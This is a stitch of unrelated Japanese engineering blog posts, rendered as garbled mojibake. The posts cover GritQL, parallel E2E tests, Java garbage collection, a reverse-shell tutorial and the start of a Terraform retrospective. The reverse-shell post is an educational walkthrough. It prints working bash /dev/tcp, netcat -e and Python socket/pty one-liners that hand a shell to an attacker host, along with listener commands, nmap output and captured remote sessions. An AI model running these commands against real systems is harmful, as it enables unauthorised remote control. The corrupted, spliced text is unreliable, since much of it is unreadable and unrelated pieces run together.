šäœãcontainsã®å¯Ÿè±¡ãšãªããthisãå«ãã§ãããã倿ãããŠããŸããã sumToValueã¯thisããããŸããã function $_($_) { $_ } ã®äžã«ãããcontainsã®å¯Ÿè±¡ã«ã¯ãªããªããã倿ãããŠããŸãã ãã¿ãŒã³ã®åå©çš GritQLã®ã¯ãšãªãä»ã® ããã°ã©ãã³ã°èšèª ã®é¢æ°åæ§ã«åå©çšãããããšããããŸãã ãã®ãããªæã¯ããã¿ãŒã³ãšããŠå®çŸ©ããŸããããæžãæ¹ã¯ pattern ${ãã¿ãŒã³å} (${åŒæ°}) { ${ã¯ãšãª} } ã®ãããªæžãæ¹ãããŸãã äŸãã°ãconsole.logãæ¶ããã¿ãŒã³ãdelete_console_logãã¯ä»¥äžã®ããã«äœæã§ããŸãã pattern delete_console_log () { `console.log($message)` => . } äœæãããã¿ãŒã³ã¯é¢æ°å®è¡ãšåæ§ã« delete_console_log() ã§äœ¿ããŸãã console.logã®ã¿ãæ¶ãããŠããããšã以äžãã確èªã§ããŸãã äžéšçãããã®ããããŸããã以äžã ãã¥ãŒããªã¢ã« ã§ç޹ä»ãããŠãããã®ã§ããã çµããã« ä»åã¯GritQLãè§Šã£ãŠã¿ãŸããã ã¯ãšãªã§ã³ãŒããäžæ°ã«å€æã§ããã®ã¯ãšãŠãé
åçã§ãããããŸã ããŒã¿ããŒãžã§ã³ãªã®ã§ãããã§ããããšãéåžžã«å€ããŠæ¥œããã§ãã æ©äŒãããã°ãå¿çšç·šãšããŠGritQLã§å®åã«ã䜿ããããªã«ã¹ã¿ã ãã¿ãŒã³ãäœã£ãŠãèšäºãæžããããšæãã®ã§ãæåŸ
ããŠããã ãããšå¹žãã§ãã ãŸãã ãã¥ãŒããªã¢ã« ã§ã¯ç޹ä»ããããªãã£ããã¿ãŒã³ãæ¡ä»¶ æŒç®å ãªã©ãããã®ã§ã å
¬åŒã®ããã¥ã¡ã³ã ãèªãããšããå§ãããŸãã æåŸãŸã§èªãã§ããã ãããããšãããããŸããïŒ
noriharu3 ã§ãã E2Eãã¹ãã®å®è¡æéççž®ãç®æããŠãè€æ°ãµãŒããŒã§ãã¹ãã䞊åå®è¡ããŠã¿ãŸããã®ã§ã玹ä»ããŸãã è€æ°ã®ãµãŒããŒã§E2Eãã¹ããå®è¡ããæ¹æ³ E2Eãã¹ãã䞊åå®è¡ããã E2Eãã¹ããè€æ°ã®ãµãŒããŒã§äžŠåå®è¡ããã çµæ Before After æåŸã« è€æ°ã®ãµãŒããŒã§E2Eãã¹ããå®è¡ããæ¹æ³ å
ã
E2Eãã¹ãã¯ä»¥äžã®æ§æã§å®è£
ãããŠããŸããã Java Gradle Selenium Gradleã䜿çšããŠããã®ã§äžŠåå®è¡ããã ããªãããã©ã¡ãŒã¿ãŒãèšå®ããã®ã¿ã ãªã®ã§ãããä»åã¯E2Eãã¹ãã1ã€ã®ãµãŒããŒã§äžŠåå®è¡ããã®ã§ã¯ãªãã è€æ°ãµãŒããŒã§E2Eãã¹ãã䞊åå®è¡ã§ããªãã æš¡çŽ¢ããŸããã çç±ãšããŠã¯ãE2Eã®ãã¹ãã±ãŒã¹æ¯ã«DBã® ããŒã«ãã㯠ãå¿
èŠãšãªã£ãŠããããã 1ã€ã®ãµãŒããŒã§äžŠåå®è¡ããããšãããããã§ããªãã£ãããã§ãã E2Eãã¹ãã䞊åå®è¡ããã Gradleã䜿ã£ãŠããå Žåã¯ããã©ã¡ãŒã¿ãŒãèšå®ããã ãã§ãã çµããã§ãwã docs.gradle.org // build.gradle test { useJUnitPlatform () ++ maxParallelForks = 2 } E2Eãã¹ããè€æ°ã®ãµãŒããŒã§äžŠåå®è¡ããã ãã¹ãå®è¡åã®äºååŠçã§å®è¡ãããµãŒããŒã決å®ãããã¹ãæ¯ã«å®è¡ãããµãŒããŒãåãæ¿ããŸãã å
·äœçã«ã¯ããã¹ãæªå®æœã®ãµãŒããŒãªã¹ãäžèЧãããã¹ããã¡ã€ã«ã«ä¿æããŠããããããããã¹ããå®è¡ãããµãŒããŒã決å®ããŸãã åŠçã®æµã ãµãŒããŒãªã¹ãããããã¹ããå®è¡ãããµãŒããŒã決å®ãã @BeforeAll ã«åŠçã远å ããããšã§å®çŸ ãµãŒããŒãªã¹ããããµãŒããŒãååŸããéã® æä»å¶åŸ¡ 㯠flock ã³ãã³ãã§ãµã¯ããšå®è£
ãã¹ãå®è¡ãã DBã ããŒã«ãã㯠ãã ãµãŒããŒãªã¹ãäžèЧã«ãµãŒããŒãæ»ã @AfterAll ã«åŠçã远å ããããšã§å®çŸ // e2e_server_list e2e_server_1 e2e_server_2 // E2Eãã¹ãããã°ã©ã ã®Abstract Class ... ïŒéäžçç¥ïŒ @BeforeAll protected void ãªã¢ãŒããã¹ãå²ãæ¯ã() { Map<String, String> result; try { result = execCommand( "sh" , "server_pop_push.sh" , "pop" ); } catch (IOException e) { throw new RuntimeException(e); } catch (InterruptedException e) { throw new RuntimeException(e); } setServerName(result.get( "stdout" )); } ... ïŒéäžçç¥ïŒ @AfterAll public void ãªã¢ãŒããã¹ãè¿åŽ() { try { execCommand( "sh" , "server_pop_push.sh" , "push" , getServerName()); } catch (IOException e) { throw new RuntimeException(e); } catch (InterruptedException e) { throw new RuntimeException(e); } } } ... ïŒéäžçç¥ïŒ // server_pop_push.sh SERVER_LIST_FILE = " e2e_server_list " LOCK_FILE = " /tmp/e2e.lock " # 0/1/2以å€ã®ä»»æã®ãã¡ã€ã«ãã£ã¹ã¯ãªãã¿(çªå·)ãæå® exec 200 >" ${LOCK_FILE} " flock 200 ### ã¡ã€ã³åŠçéå§ if [ $1 = "pop" ]; then cat $SERVER_LIST_FILE | tail -n 1 sed -ie ' $d ' $SERVER_LIST_FILE elif [ $2 != '' ]; then echo $2 >> $SERVER_LIST_FILE else echo ' åŒæ°ãäžæ£ã§ãã ' fi çµæ çµæãšããŠã2å°ã®ãµãŒããŒã§äžŠåå®è¡ãããšããããã¹ãæéã¯çŽååïŒ40%ïŒãšãªããŸããã Before 1å°ã®ãµãŒããŒã§é çªã«ãã¹ããå®è¡ããŠããŸããã After æå®ãããµãŒãå°æ°ã§åæ£ããŠãE2Eãã¹ããå®è¡ã§ããããã«ãªããŸãããã åãµãŒãã«åçã«åŠçãæ¯ãåããããã§ã¯ãªãããã¹ãæªå®æœã®ãµãŒããŒã«æ¯ãåããããŸãã 2å°ã®ãµãŒããŒã§äžŠåå®è¡ãããšããããã¹ãæéã¯çŽååïŒ40%ïŒãšãªããŸããã æåŸã« E2Eãã¹ãã 忣 䞊åå®è¡ ããããã°ã¯å€ãããããšæããŸãããããã㯠1ã€ã®ãµãŒããŒã«å¯ŸããŠè€æ°ã®ãã©ãŠã¶ãç«ãŠãŠåŠçãå®è¡ãããã® ãã»ãšãã©ã§ããã DBã® ããŒã«ãã㯠ãå¿
èŠãªã©ãäœããã®çç±ã§åçŽã«E2Eãã¹ãã䞊ååŠçã§ããå°ã£ãŠããæ¹ã«ãäœããã®ãã³ããæäŸããããšãã§ããã幞ãã§ãã
ã¯ãããŸããŠïŒããã¯ãšã³ããšã³ãžãã¢ã®nnhkrnkãšç³ããŸãïŒ å
æ¥çµã¿èŸŒã¿ç³»ãšã³ãžãã¢ã®å人ãšè©±ããŠããéã Cèšèª ã§ã¯ã¡ã¢ãªããŠãŒã¶ãæå³çã«éæŸããªããš ã¡ã¢ãªãªãŒã¯ ãèµ·ãããšããããšãåããŠç¥ããŸããã èªåã¯æ®æ®µ Java ãæžããŠãŸãããã¡ã¢ãªãæèããŠã³ãŒãã£ã³ã°ãããããšã¯ã»ãšãã©ãããŸãããã©ã®ãããªä»çµã¿ã«ãªã£ãŠããã®ãæ°ã«ãªã£ãããã Java ã«ãããã¡ã¢ãªè§£æŸã«ã€ããŠèª¿ã¹ãŠã¿ãŸããïŒ ã¡ã¢ãªè§£æŸã¯èª°ããã£ãŠããã®ã ã¡ã¢ãªè§£æŸã®ä»çµã¿ 4çš®é¡ã®ã¡ã¢ãªé å ããŒãé åã®è©³çް ã¬ããŒãžã³ã¬ã¯ã·ã§ã³ ãã€ããŒGC ãã«GC ãããã« åè ã¡ã¢ãªè§£æŸã¯èª°ããã£ãŠããã®ã Cã C++ ã§ã¯ãŠãŒã¶ãæå³çã«ã¡ã¢ãªç®¡çãããå¿
èŠããããŸããã Java ã§ã¯ JVM ããã®åœ¹å²ãæ
ã£ãŠããŸããã¡ã¢ãªã®äœ¿çšãè§£æŸãèªåã§è¡ã£ãŠãããããããŠãŒã¶ãã¡ã¢ãªãæèããã«ã³ãŒãã£ã³ã°ã§ãããšããããã§ãã ã¡ã¢ãªè§£æŸã®ä»çµã¿ ã¡ã¢ãªè§£æŸã¯ JVM ã® ã¬ããŒãžã³ã¬ã¯ã·ã§ã³ ïŒ GC ïŒ ãšããæ©èœã§è¡ãããŠããŸãã ã¬ããŒãžã³ã¬ã¯ã·ã§ã³ ã®åŠçãç¥ãåã«ã JVM ã管çããã¡ã¢ãªé åã«ã€ããŠæŽçããŠãããŸãããã 4çš®é¡ã®ã¡ã¢ãªé å Java ããã°ã©ã ãå®è¡ããããšã Java ã®ããã»ã¹ã«ã¡ã¢ãªãå²ãäžããããŸãããã®ã¡ã¢ãªé åã¯ä»¥äžã®ïŒã€ã®é åã«åããããŸãã ããŒãé å ã¹ã¿ãã¯é å ã¡ã¿ã¹ããŒã¹ ãã€ãã£ãã¡ã¢ãªïŒâ» JVM ã§ã¯ãªãOSã管çããé åïŒ é å çšéã»ç¹åŸŽ ããŒãé å çæããã ã€ã³ã¹ã¿ã³ã¹ ã®æ
å ±ãä¿åãããé åã ã¹ã¿ãã¯é å å®è¡äžã®ããã°ã©ã ã®æ
å ±ãä¿åãããé åã å®è¡äžã®è¡ããã©ãããåŒã³åºãããŠããŠãã©ããªæ
å ±ãåç
§å¯èœãããªã©ãæã£ãŠããã€ã¡ãŒãžã ã¡ã¿ã¹ããŒã¹ ã¯ã©ã¹å®çŸ©ãã¡ãœããã³ãŒãã宿°ããŒã«ãªã©ã®ã¯ã©ã¹é¢é£ã®æ
å ±ãä¿åãããé åã ãã€ãã£ãã¡ã¢ãª Java ããã°ã©ã ããã€ãã£ãã³ãŒãïŒCã C++ ãªã©ã§èšè¿°ãããã³ãŒãïŒãåŒã³åºãéã«äœ¿çšãããé åã JVM ã§ã¯ãªãOSãçŽæ¥ç®¡çãããŠããã ãã®ãã¡ãããã°ã©ã å®è¡äžã«ã¡ã¢ãªç®¡çãå¿
èŠã«ãªãã®ã¯ããŒãé åã«ãªããŸãã ã¬ããŒãžã³ã¬ã¯ã·ã§ã³ ã§ã¯ããã®ããŒãé åã察象ãšããŠã¡ã¢ãªã®ç®¡çãè¡ã£ãŠããŸãã ããŒãé åã®è©³çް ããŒãé åã¯å€§ããåããŠä»¥äžã®ïŒã€ã®é åã§æ§æãããŠããŸãã Youngé å Oldé å é å ç¹åŸŽ Youngé å ã¡ã¢ãªã«æ ŒçŽãããŠããã®æéãæ¯èŒççãããŒã¿ãæ ŒçŽãããŠããé åã æ°ããçæããããªããžã§ã¯ããäžæçã«é
眮ãããã Oldé å ã¡ã¢ãªã«æ ŒçŽãããŠããã®æéãæ¯èŒçé·ãããŒã¿ãæ ŒçŽãããŠããé åã Youngé åããã®ãªããžã§ã¯ããé·å¯¿åœã®ãã®ãšããŠç§»åããã Youngé åã«ã¯ããã« Eden ãš Survivor ã®2ã€ã®é åã«åããããŸãã Survivor ã¯é åã2ã€ãããŸãããã©ã¡ãã圹å²ã¯åãã§ãã ããŒãé åã®è©³çް ã¬ããŒãžã³ã¬ã¯ã·ã§ã³ ã¬ããŒãžã³ã¬ã¯ã·ã§ã³ ã®åŠçã®æµããçè§£ããåã«ã ã¬ããŒãžã³ã¬ã¯ã·ã§ã³ ã«ã¯äž»ã«ä»¥äžã®2çš®é¡ããããšããããšãæŒãããŠãããŸãããã ã¬ããŒãžã³ã¬ã¯ã·ã§ã³ ã®çš®é¡ 察象é å ããªã¬ãŒæ¡ä»¶ ãã€ã㌠GC Youngé åïŒEdené åãSurvivoré åïŒ Edené åããã£ã±ãã«ãªã£ãå Žå ãã« GC ããŒãé åå
šäœïŒYoungé åãšTenuredé åïŒ Tenuredé åããã£ã±ãã«ãªã£ãå Žå ãã€ã㌠GC ãã€ã㌠GC ã¯ä»¥äžã®ã«ãŒã«ã«æ²¿ã£ãŠã¡ã¢ãªè§£æŸãè¡ããŸãã * Edené åã®ããŒã¿ * ããŒã¿ãäžèŠïŒåç
§ãããŠãªãïŒã®å ŽåãããŒã¿ãåé€ããŠã¡ã¢ãªãè§£æŸãã * ããŒã¿ããŸã å¿
èŠãªå ŽåãããŒã¿ãSurvivoré åã«ç§»åãããŠã¡ã¢ãªãè§£æŸãã * Survivoré åã®ããŒã¿ * ããŒã¿ãäžèŠã®å ŽåãããŒã¿ãåé€ããŠã¡ã¢ãªãè§£æŸãã * ããŒã¿ããŸã å¿
èŠãªå ŽåãããŒã¿ãããçæ¹ã®Survivoré åãTenuredé åã«ç§»åãããŠã¡ã¢ãªãè§£æŸãã å
·äœçã«å³ã§èŠãŠãããŸãããã ã€ã³ã¹ã¿ã³ã¹ ãçæãããããã®ããŒã¿ã¯Edené åã«æ ŒçŽãããŸãã ãããç¹°ãè¿ããããšEdené åããã£ã±ãã«ãªãããããã¯ã¡ã¢ãªãè¶³ããªããªã£ãŠããŸããŸãã ãã®éã«å®è¡ãããã®ã ãã€ã㌠GC ã§ãã ãã€ã㌠GC å®è¡å¥æ© å®è¡éå§åŸãEdené åã®ããŒã¿ããŸã åç
§ãããŠãããã©ããã確èªããŸããåç
§ãããŠãªãå Žåã¯åé€ãåç
§ãããŠããå Žåã¯Survivoré åã«ç§»åãããããšã§ã¡ã¢ãªè§£æŸãè¡ããŸãã ãã€ã㌠GC ã®åŠçïŒEdené åïŒ åãã¿ã€ãã³ã°ã§Survivoré åã®ã¡ã¢ãªè§£æŸãè¡ããŸããåç
§ãããŠãªãå Žåã¯åé€ããããšã§ã¡ã¢ãªè§£æŸãè¡ãããŸã åç
§ãããŠããå Žåã¯ããçæ¹ã®Survivoré åã«ç§»åããããšã§ã¡ã¢ãªãè§£æŸããŸãã ãã€ã㌠GC ã®åŠçïŒSurvivoré åïŒ ãã®ãããé·ãéè§£æŸãããªãããŒã¿ã¯2ã€ã®Survivoré åãè¡ãæ¥ããããšã«ãªããŸãããã®åæ°ã«ã¯äžéããããäžéãè¶
ããããŒã¿ã¯Tenuredé åã«ç§»åããããšããããã§ãã ãã€ã㌠GC ã®åŠçïŒç§»åäžéè¶
éïŒ ãã« GC ãã€ã㌠GC ãç¹°ãè¿ããŠãããšãå¿
èŠãªããŒã¿ãå€ãæ®ã£ãŠããå Žåã«Tenuredé åãã©ãã©ãåãŸã£ãŠãã£ãŠããŸããŸãã ãããç¹°ãè¿ããšããã€ã㌠GC å®è¡æã«Tenuredé åã«ç©ºãããªãããã«å¿
èŠãªããŒã¿ãç§»åã§ããªããšããäºæ
ãçºçãããã€ã㌠GC èªäœã倱æããŠããŸããŸãã ãã®å€±æã奿©ãšããŠå®è¡ãããã®ã ãã« GC ã§ãã ãã« GC å®è¡å¥æ© Full GC ã§ã¯ãYoungãšOldã®äž¡æ¹ã«å¯ŸããŠã¡ã¢ãªè§£æŸãè¡ããŸããYoungé åã«å¯ŸããŠã¯ãã€ã㌠GC ãšåãã«ãŒã«ã§å®æœããOldã«ã€ããŠã¯äžèŠã«ãªã£ãã¡ã¢ãªãè§£æŸãããšããã·ã³ãã«ãªã«ãŒã«ã§ãã ãã« GC ã®åŠç ãããã« ä»å㯠Java ã®ã¡ã¢ãªè§£æŸã«ã€ããŠèšèŒããŸããïŒ èªåãæ®æ®µã¡ã¢ãªè§£æŸãæèããã«ããã°ã©ãã³ã°ã§ããŠããã®ã¯ãã®ãããªäŸ¿å©ãªæ©èœã®ããããªãã§ããïŒå匷ã«ãªããŸããïŒ ããã§ã¯ãŸãã®èšäºã§ãäŒãããŸãããïŒ åè 以äžã®èšäºãåèã«ãããŠããã ããŸããïŒããããšãããããŸããïŒ Javaã®GCã®ä»çµã¿ãæŽçãã Javaã®ã€ã³ã¹ã¿ã³ã¹å€æ°ãšã¯ã©ã¹å€æ°ïŒã¹ã¿ãã¯é åãšããŒãé åïŒ Javaã®äžŠè¡åŠçãçè§£ããïŒå
¥éç·šïŒ Java8以éã®ã¡ã¢ãªèšå®ã«ã€ã㊠JVM ã®ã¡ã¢ãªæ§é
ããã«ã¡ã¯ãã€ã³ãã©ãšã³ãžãã¢ã®fro-rivã§ãã ã»ãã¥ãªãã£é¢é£ã§ããè³ã«ãããªããŒã¹ã·ã§ã«ïŒreverse shellïŒã«ã€ããŠã å®éã«ã©ããã£ãŠå®çŸããã®ãæ°ã«ãªã£ãã®ã§èª¿ã¹ãçµæããŸãšããŠã¿ãŸããã æ¬èšäºã«èšèŒã®æé ã¯ãäžæ£ãªéä¿¡ãšã¿ãªãããå¯èœæ§ããããŸãã®ã§ã 詊ãéã¯ç®¡çäžã®ãµãŒãã§å®æœããã»é©åãªèš±å¯ãååŸãããªã©æ³çãªå¶çŽãéµå®ããŠãã ããã ãªããŒã¹ã·ã§ã«ãšã¯ ãªããŒã¹ã·ã§ã«ã詊ããŠã¿ã å®çŸãããããš åæ äºåæºå ãã¿ãŒã³ïŒïŒbash ãã¿ãŒã³ïŒïŒnetcat ãã¿ãŒã³ïŒïŒpython ãããã« åè ãªããŒã¹ã·ã§ã«ãšã¯ ãªããŒã¹ã·ã§ã«ãšã¯ãèªãæ¥ç¶å
ãµãŒã(以äžããªã¢ãŒããµãŒã)ã«æ¥ç¶ãã«è¡ãéåžžã®æµããšã¯éãã ãªã¢ãŒããµãŒãããã·ã§ã«ãæž¡ãã«æ¥ãéä¿¡æ¹æ³ã§ãã æ¥ç¶ã®éã¯ãèªã(æ¥ç¶å
ã§)ä»»æã®ããŒãããªãã¹ã³ãã ãªã¢ãŒããµãŒããã¢ã¯ã»ã¹ãã«æ¥ã 圢ããšãã®ã§ããªã¢ãŒããµãŒãåŽã® ãã¡ã€ã¢ãŠã©ãŒã« ã§èšå®ãããŠããINPUT éä¿¡å¶ åŸ¡ã«é¢ä¿ãªãæ¥ç¶ã§ããŸãã 以äžã¯è¶
ãã£ãããšããã€ã¡ãŒãžã§ãã âŒéåžžã¢ã¯ã»ã¹ã®å Žå ãªã¢ãŒããµãŒãã«æ¥ç¶ããããšãããã ãã¡ã€ã¢ãŠã©ãŒã« ã§èš±å¯ãããŠããªããã°ãããã¯ããã éåžžã¢ã¯ã»ã¹ âŒãªããŒã¹ã·ã§ã«ã®å Žå ãªã¢ãŒããµãŒãããæ¥ç¶ãã«æ¥ãã®ã§ãçžæã® ãã¡ã€ã¢ãŠã©ãŒã« ã®INPUT éä¿¡å¶ åŸ¡ã¯é¢ä¿ãªã ãªããŒã¹ã·ã§ã« ãªããŒã¹ã·ã§ã«ã詊ããŠã¿ã å®éã«ãªããŒã¹ã·ã§ã«ã¯ã©ã®ãããªåãã«ãªãã®ããã©ããªã³ãã³ãã䜿ãã®ãã詊ããŠã¿ãããšæããŸãã å®çŸãããããš ãªããŒã¹ã·ã§ã«ãçšããŠã evil.server (æ»æè
)ã«ãŠãfirewalldã§å€éšããã®INPUTæ¥ç¶ãã§ããªãããã«ãã remote.server (ãªã¢ãŒããµãŒã)ã® bash ãæäœã§ããããã«ããããšæããŸãã ç°å¢ã¯ä»¥äžãå©çšããŸãã æ»æè
ãã¹ãåïŒ evil.server IPã¢ãã¬ã¹ ïŒ 172.YY.YY.YY (ãã¹ã¯ããŸã) OSïŒUbuntu22.04 ãªã¢ãŒããµãŒã ãã¹ãåïŒ remote.server IPã¢ãã¬ã¹ ïŒ 172.XX.XX.XX OSïŒAlmalinux8.7 ä»ãã3ã€ã®æ¹æ³ã§ãªããŒã¹ã·ã§ã«ã詊ããŠã¿ãŸããããããã以äžã®ãããªæµãã«ãªããŸãã æ»æè
ãä»»æã®ããŒã(ä»åã¯9999çªããŒãã䜿ã)ã§åŸ
ã¡åãã ãªã¢ãŒããµãŒãåŽã§ã³ãã³ããå®è¡ããæ»æè
ã« bash ãæž¡ãã«è¡ã åæ ä»åã¯ã詊ããªã®ã§ãã³ãã³ãããŒã¹äžã€ãªã¢ãŒããµãŒããçŽæ¥æäœããŸãã å®éã®æ»æã§ã¯ãäžæ£äŸµå
¥æãäœããã®äžæ£ãªæ¹æ³ã§ã³ãã³ããèšèŒãã ã¹ã¯ãªãã ããã€ããªãã¡ã€ã«ãé
åžã èªåèµ·å ããããªã©ãæ»æè
ãä»»æã®ã¿ã€ãã³ã°ã§èµ·åã§ãã(æ¥ç¶ããã)ããã«ä»æãããããªæµãã«ãªãããšæããŸãã äºåæºå ãªããŒã¹ã·ã§ã«ã詊ãåã«ã remote.server ã§firewalldãèšå®ãããã¹ãŠã®ããŒãã鮿ããŸãã zoneã¯public(ããã©ã«ã)â drop ã«èšå®ããŸãã ## remote.serverã«ãŠfirewalldã®zoneãdropã«ãã [root@remote.server ~]# firewall-cmd --set-default-zone=drop success [root@remote.server ~]# firewall-cmd --get-default-zone drop [root@remote.server ~]# firewall-cmd --list-all drop (active) target: DROP icmp-block-inversion: no interfaces: eth0 sources: services: ports: protocols: forward: no masquerade: no forward-ports: source-ports: icmp-blocks: rich rules: [root@remote.server ~]# èšå®ã§ããã®ã§ã evil.server ãã0-9999ãŸã§ã®ããŒãã¹ãã£ã³ã宿œãããŒããéããããŠããããšã確èªããŸãã â»å
šããŒãã¹ãã£ã³ã¯æéãããããããããšãšã SSH ããããããµãŒãã¹ãèµ·åããŠããªãããšããã£ãŠãšãããã1-9999ã«æå®ããŠãŸã ## 1-9999ãŸã§ã®ããŒãã¯ç©ºããŠããªã root@evil.server:~# nmap -T4 -p 1-9999 -Pn 172.XX.XX.XX Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-30 02:29 UTC Nmap scan report for remote.server (172.XX.XX.XX) Host is up (0.0011s latency). All 9999 scanned ports on remote.server (172.XX.XX.XX) are filtered MAC Address: xx:xx:xx:xx:xx:xx (xx) Nmap done: 1 IP address (1 host up) scanned in 201.46 seconds root@evil.server:~# ## äžå¿SSHæ¥ç¶ã詊ã¿ãŠãã§ããªãããšãç¢ºèª root@evil.server:~# ssh 172.XX.XX.XX ssh: connect to host 172.XX.XX.XX port 22: Connection timed out root@evil.server:~# ãã¿ãŒã³ïŒïŒ bash ã§ã¯ããªããŒã¹ã·ã§ã«ã詊ããŠã¿ãŸãã ãŸã㯠bash ã³ãã³ãã§è¡ããã¿ãŒã³ã§ãã ãã®ã³ãã³ãã䜿çšããŸãã bash -i >& /dev/tcp/${EVIL_SERVER_ADDRESS}/${PORT} 0>&1 âŒæ»æåŽ evil.server ã«ãŠãnetcat(ncã³ãã³ã)ã䜿çšããŠ9999ããŒãã§åŸ
ã¡åããŸãã # -l:ãªãã¹ã³ããã -p:ããŒãæå® root@evil.server:~# nc -l -p 9999 âŒãªã¢ãŒããµãŒã remote.server ã«ãŠã bash ã³ãã³ãã§ evil.server ã®9999ããŒãã«æ¥ç¶ããŸãã [root@remote.server ~]# bash -i >& /dev/tcp/172.YY.YY.YY/9999 0>&1 ãããšãæ»æåŽã®ã¿ãŒããã«ã«ãªã¢ãŒããµãŒãã®ããã³ããã衚瀺ããã³ãã³ãæäœããããšãã§ããŸããOSã確èªããŠããªã¢ãŒããµãŒã(Almalinux8.7)ã§ããããšãããããŸãã Ctrl+cãæŒäžããããšã§ bash ãçµäºã§ããŸãã root@evil.server:~# nc -l -p 9999 [root@remote.server ~]# uname -n uname -n remote.server [root@remote.server ~]# cat /etc/redhat-release cat /etc/redhat-release AlmaLinux release 8.7 (Stone Smilodon) [root@remote.server ~]# ^C root@evil.server:~# ãã¿ãŒã³ïŒïŒnetcat 次ã¯ãncã³ãã³ã(netcat)ã§è¡ããã¿ãŒã³ã§ãã ãã®ã³ãã³ãã䜿çšããŸãã nc -nv ${EVIL_SERVER_ADDRESS} ${PORT} -e /bin/bash âŒæ»æåŽ evil.server ã§å®æœããããšã¯åãã§ãncãå©çšããŠ9999ããŒãã§åŸ
ã¡åããŸãã root@evil.server:~# nc -l -p 9999 âŒãªã¢ãŒããµãŒã remote.server ã«ãŠãncã³ãã³ããå©çšã㊠evil.server ã®9999ããŒãã«æ¥ç¶ããŸããã ncã³ãã³ãã®å Žåã¯vãªãã·ã§ã³ãä»ããŠããã®ã§ã evil.server ã«æ¥ç¶ã§ããæšã®ã¡ãã»ãŒãžãåºåãããŸãã [root@remote.server ~]# nc -nv 172.YY.YY.YY 9999 -e /bin/bash Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Connected to 172.YY.YY.YY:9999. ãããšãå
ã»ã©ã®æ§ã«ããã³ããã¯è¡šç€ºãããŸãããæ»æåŽã®ã¿ãŒããã«ã§ãªã¢ãŒãã® bash ãå®è¡ã§ããŸãã ãã¡ããåãããCtrl+cãæŒäžããããšã§ bash ãçµäºã§ããŸãã root@evil.server:~# nc -l -p 9999 uname -n remote.server cat /etc/redhat-release AlmaLinux release 8.7 (Stone Smilodon) ^C root@evil.server:~# ãã¿ãŒã³ïŒïŒ python æåŸã«ã python ã䜿ã£ãŠãªããŒã¹ã·ã§ã«ã詊ããŠã¿ãŸãã ãã®ã³ãã³ãã䜿çšããŸãã export RHOST="${EVIL_SERVER_ADDRESS}";export RPORT=${PORT};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")' âŒæ»æåŽ evil.server ã§å®æœããããšã¯åãã§ãncãå©çšããŠ9999ããŒãã§åŸ
ã¡åããŸãã root@evil.server:~# nc -l -p 9999 âŒãªã¢ãŒããµãŒã remote.server ã«ãŠã python ã³ãã³ããå©çšã㊠evil.server ã®9999ããŒãã«æ¥ç¶ããŸããã [root@remote.server ~]# export RHOST="172.YY.YY.YY";export RPORT=9999;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")' ãã¡ãããæ»æåŽã®ã¿ãŒããã«ã§ãªã¢ãŒãã® bash ãå®è¡ã§ããããã«ãªããŸããã ãã¡ããåãããCtrl+cãæŒäžããããšã§ bash ãçµäºã§ããŸãã root@evil.server:~# nc -l -p 9999 [root@remote.server ~]# uname -n uname -n remote.server [root@remote.server ~]# cat /etc/redhat-release cat /etc/redhat-release AlmaLinux release 8.7 (Stone Smilodon) [root@remote.server ~]# ^C root@evil.server:~# ãããã« ãããã§ããã§ããããã ãã¡ã€ã¢ãŠã©ãŒã« ã§INPUT(å
åã)ã®ã¢ã¯ã»ã¹å¶éããããŠããŠããOUTPUT(å€åã)ã®å¶éããªããã°ãªããŒã¹ã·ã§ã«ã§ bash ãé éæäœã§ããããšãããããŸããã æé ãæã£ãŠããããç°¡åã§ãæå
ã§ããã«è©Šãããšãã§ããŸããã ä»å㯠bash , nc, python ãå©çšããæé ã玹ä»ããŸãããããããã¯ã»ãã®äžäŸã§ 以äžã®ãµã€ãã®æ§ã«ã IPã¢ãã¬ã¹ ã宿œæ¹æ³ã»èšèªãéžæããŠãªããŒã¹ã·ã§ã«çšã®ã³ãã³ããçæã§ãããµã€ããååšããŸãã ä»ã«ã ãããã¬ãŒã·ã§ã³ãã¹ã çã§äœ¿çšãããMetasploitãšåŒã°ãã ãã¬ãŒã ã¯ãŒã¯ ã§ã¯ãç°¡åã«ãªããŒã¹ã·ã§ã«ã® ãã€ããŒã ãäœæã§ãããããªã®ã§ããã¡ãã«ã€ããŠã¯ãŸã調ã¹ãŠã¿ãããšæããŸãã Online - Reverse Shell Generator æ¥ã
æ¥åãè¡ãäžã§ãå
åãã®å¶åŸ¡ã«ç®ãè¡ããã¡ïŒãã¡ãã倧äºïŒïŒã§ããããæ¹ããŠå€åãã® éä¿¡å¶ åŸ¡ã®å€§åããèªèã§ããŸããã ãŸããã»ãã¥ãªãã£é¢é£ã¯å¯Ÿçã¯ç¥ã£ãŠããŠããå®éã«ã©ã®ããã«æ»æããããç¥ããªãã±ãŒã¹ãå€ãã®ã§ãæ»æææ³ãç¥ãïŒéãèŠç¹ã§èŠãïŒãšããè¯ãæ©äŒã«ããªããŸããã å人çã«èå³ã®ããåéãªã®ã§ãããã«æ·±æãããŠæ
åœãµãŒãã¹ãåŒç€ŸãµãŒãã¹ã®ã»ãã¥ãªãã£åäžã«ã€ãªãã£ãŠããã°ãã¹ãã ãªãšæããŸãã ãšããããã§ã以äžãšãããŠããã ããŸãã åè https://linux.die.net/man/1/nc リバースシェルとは【用語集詳細】 Online - Reverse Shell Generator What Is a Reverse Shell | Acunetix
ããã«ã¡ã¯ã åå㯠AWSã®æ¢åç°å¢ãTerraformã§ã³ãŒãåããŠã¿ã ãæçš¿ããŸãããã ä»åã¯ãã®æ¯ãè¿ããããŠãããŸãã ååã¯Terraformã®åºæ¬çãªãšãããããå°ãèºãã äžé
